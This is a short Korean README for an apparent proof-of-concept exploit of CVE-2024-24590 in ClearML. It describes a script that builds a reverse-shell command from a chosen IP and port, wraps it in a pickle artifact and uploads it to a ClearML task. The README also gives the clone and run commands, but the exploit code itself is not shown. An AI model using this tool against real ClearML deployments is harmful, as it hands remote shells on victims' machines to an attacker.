
CVE-2024-24590에 대한 개념 증명
_____ _ __ __ _ _____ ____ _____
/ ____| | | \/ | | | __ \ / __ \ / ____|
| | | | ___ __ _ _ __| \ / | | | |__) | | | | |
| | | |/ _ \/ _` | '__| |\/| | | | ___/| | | | |
| |____| | __/ (_| | | | | | | |____ | | | |__| | |____
\_____|_|\___|\__,_|_| |_| |_|______| |_| \____/ \_____| - 2024-24590 x OxyDe
이 프로젝트는 명령줄 인수를 통해 구성 가능한 매개변수로 ClearML에 pickle 아티팩트를 동적으로 업로드하는 방법을 보여줍니다. 이 스크립트는 ClearML 작업을 초기화하고, 리버스 셸 실행을 위한 명령을 동적으로 구성한 다음 이를 아티팩트로 업로드합니다. (PoC-CVE-2024-24590)
Python 3.6+clearml 패키지argparse 패키지pickle 패키지os 모듈ClearML 패키지를 설치합니다:
pip install clearml
저장소를 클론합니다:
git clone https://github.com/OxyDeV2/PoC-CVE-2024-24590.git
cd PoC-CVE-2024-24590
스크립트를 실행하려면 적절한 인수와 함께 다음 명령을 사용하세요:
python script.py --project_name "<project_name>" --task_name "<task_name>" --tags <tag1> <tag2> ... --artifact_name "<artifact_name>" --ip "<ip_address>" --port "<port>"
Skriix님께 감사드립니다 :)